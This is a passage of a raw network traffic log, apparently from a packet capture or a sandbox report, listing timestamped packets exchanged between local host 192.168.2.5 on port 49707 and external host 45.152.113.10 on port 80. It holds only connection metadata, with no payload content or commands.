Sep 9, 2024 18:45:04.964862108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964976072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964992046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965006113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965022087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965037107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965038061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965053082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965054989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965075016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965080023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965101957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965120077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965136051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965167046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965182066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965277910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965292931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965306997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965322971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965336084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965338945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965354919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965356112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965369940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965374947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965385914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965405941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965423107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965440989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965456963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965471983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965488911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965503931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965506077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965517044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965523005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965537071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965539932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965553999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965555906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965572119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965573072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965589046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965605021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.965605021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965620041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.965639114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.054873943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.054944038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055003881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055027008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055032969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055046082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055062056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055063009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055075884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055095911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055111885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055234909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055250883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055267096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055279970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055282116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055299997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055300951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055316925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055322886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055334091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055356026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055356026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055370092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055473089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055488110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055510044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055519104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055529118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055533886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055546999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055557966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055563927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055567026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055588961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055604935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055706978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055722952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055738926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055752993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055766106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055767059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055785894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055787086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055802107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055813074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055819035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055829048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055836916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055844069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055854082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055864096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055874109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055891037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055917978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055927992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055944920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055960894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.055972099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.055989981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056005955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056099892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056117058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056133032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056145906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056164026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056180000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056189060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056205988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056221008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056229115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056237936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056246996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056267977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056274891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056473017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056488991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056505919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056535006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056551933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056554079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056554079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056554079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056569099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056581974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056582928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056600094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056610107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056617975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056631088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056634903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056652069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056668997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056668997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056680918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056688070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056704044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056715965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056731939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056765079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056781054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056826115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.056943893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056961060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056974888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.056991100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057004929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057004929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057023048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057029963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057039976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057051897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057055950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057064056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057071924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057086945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057096004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057117939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057255030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057271957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057287931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057303905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057317019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057322025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057327986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057339907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057352066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057374954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057399035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057420015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057437897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057452917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057467937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057470083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057485104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057487011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057502985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057503939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057512999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057523012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057534933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057544947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057558060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057565928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057600975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057616949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057643890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057648897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057662010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057672977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057687998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057688951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057706118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057720900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057734966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057738066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057746887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057754993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057766914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057775021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057777882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057790995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057801962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057806969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057823896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057825089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057842970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057854891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057863951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057864904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057883024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057883978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057898045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057899952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057917118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057925940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057934046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057941914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057951927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057964087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057970047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.057976007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.057993889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058006048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058021069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058022022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058037043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058052063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058053017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058068991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058069944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058085918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058095932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058116913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058142900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058159113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058173895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058188915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058190107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058206081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058219910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058222055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058231115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058238029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058254004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058269978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058280945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058315992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058460951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058476925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058492899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058510065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058523893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058526039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058542013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.058542013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058557034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058574915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.058589935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147579908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147593975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147625923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147649050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147677898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147686958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147702932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147746086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147751093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147768021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147789955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147799969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147813082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147830963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147905111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147922039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147936106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.147952080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147969007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.147973061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148008108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148025036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148032904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148049116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148063898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148081064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148092031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148097038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148107052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148112059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148127079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148139954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148155928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148210049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148225069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148240089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148253918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148268938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148283005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148286104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148298025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148312092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148327112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148329973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148343086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148348093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148356915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148367882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148371935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148386002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148390055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148401976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148411036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148420095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148422956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148437977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148442030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148464918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148478985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148519039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148534060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148547888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148562908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148576021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148577929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148590088 CEST	49707	80	192.168.2.5	45.152.113.10
